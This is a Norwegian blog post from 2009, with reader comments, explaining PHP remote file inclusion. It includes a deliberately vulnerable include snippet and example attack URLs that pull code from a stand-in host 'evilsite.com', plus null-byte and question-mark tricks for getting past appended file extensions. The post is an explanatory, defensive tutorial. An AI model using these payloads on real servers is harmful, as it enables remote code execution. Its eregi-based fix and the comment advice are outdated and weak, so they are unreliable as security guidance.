Php hacking: Remote File Inclusion

Remote file inclusion er en av mange måter en php applikasjon kan hackes med. Og er en sårbarhet man ofte finner på nettsteder som er noen år gamle, og bruker gamle scripts.

I php har man en par funksjoner der man kan inkludere filer. De fungerer som klipp og lim, slik at man ikke trenger å skrive inn hele koden hver gang. Det er bare å inkludere filen.

Dette kan gjøres med 4 funksjoner:

require()
require_once()
include()
include_once()

Her er det aller verste eksemplet på kode som er sårbar:

$pagina=$_GET['pagina'];
 include $pagina;

Hvis man da f.eks. går til følgende lenke:


http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

Vil php koden som er i evilscript.txt, bli inkludert og kjørt. Og får man kjørt php kode på en server, kan man gjøre nesten hva man vil.

Nullbyte trikset: %00
Noen script legger til en filendelse som .txt eller .inc.php. Da kan man bruke nullbyte( %00) til å terminere strengen, slik at det som legges til av php scriptet etterpå, blir fjernet.

Ta f.eks. et slikt script:

$pagina=$_GET['pagina'];
 include $pagina . ".inc.php";

Her legges det til “.inc.php”. Men denne blir man kvitt ved å besøke følgende lenke:


http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00

Forklaring på hvorfor nullbyte fungerer:

The “poison null byte” exploit takes advantage of how strings with a known length can contain null bytes and what happens when that string is converted for use with an API that uses null terminated strings. The end result is that by carefully placing a null byte in the string, the attacker is able to force the string to end at that point, even after the application has appended more characters to the string, like for example, a filename extension.

En annen måte å omgå filendelsen som legges til, er å besøke følgende lenke:


http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?

Her sørger spørsmålstegnet for at alt etter det, blir behandlet som GET verdier. Dermed blir filendelsen borte vekke.

Løsningen
Filtrer vekk foroverslash /. Dermed kan kun filer i nåværende mappe inkluderes.

Eksempel script:

if (!eregi("^((.*)/)", $filename)) {
// inkluder trygt her
}

Del på Facebook
Del på Twitter
Legg til på Nettby









Dette innlegget ble skrevet på Saturday, September 12th, 2009. Og er lagret under PHP, sikkerhet. Skumma gjennom av 1224 stykker.

4 Responses to “Php hacking: Remote File Inclusion”

  1. Baht on September 13th, 2009 at 12:40 am

    Jeg ville ikke brukt regulære uttrykk for å sikre inkludering av filer, det er bedre å sikre seg ved å sjekke om filen faktisk eksisterer.

    if(file_exists($file)){
    require_once($file):
    }

  2. tyr897 on September 14th, 2009 at 12:26 pm

    Selvfølgelig må han sjekke tegnene, og ikke bare om filen eksister.
    file_exists(‘http://my.evil/file.php’); vil også returnere true dersom den eksisterer, det samme vil /etc/passwd.

    Personlig anbefaler jeg whitelisting (a-z0-9) eller basename.

  3. Baht on September 14th, 2009 at 9:06 pm

    file_exists vil returnere false i ditt tilfelle.

  4. Skogtrollet » Php hacking: Local File Inclusion on September 17th, 2009 at 11:29 pm

    [...] LES OGSÅ: Php hacking: Remote file inclusion [...]

Legg igjen en kommentar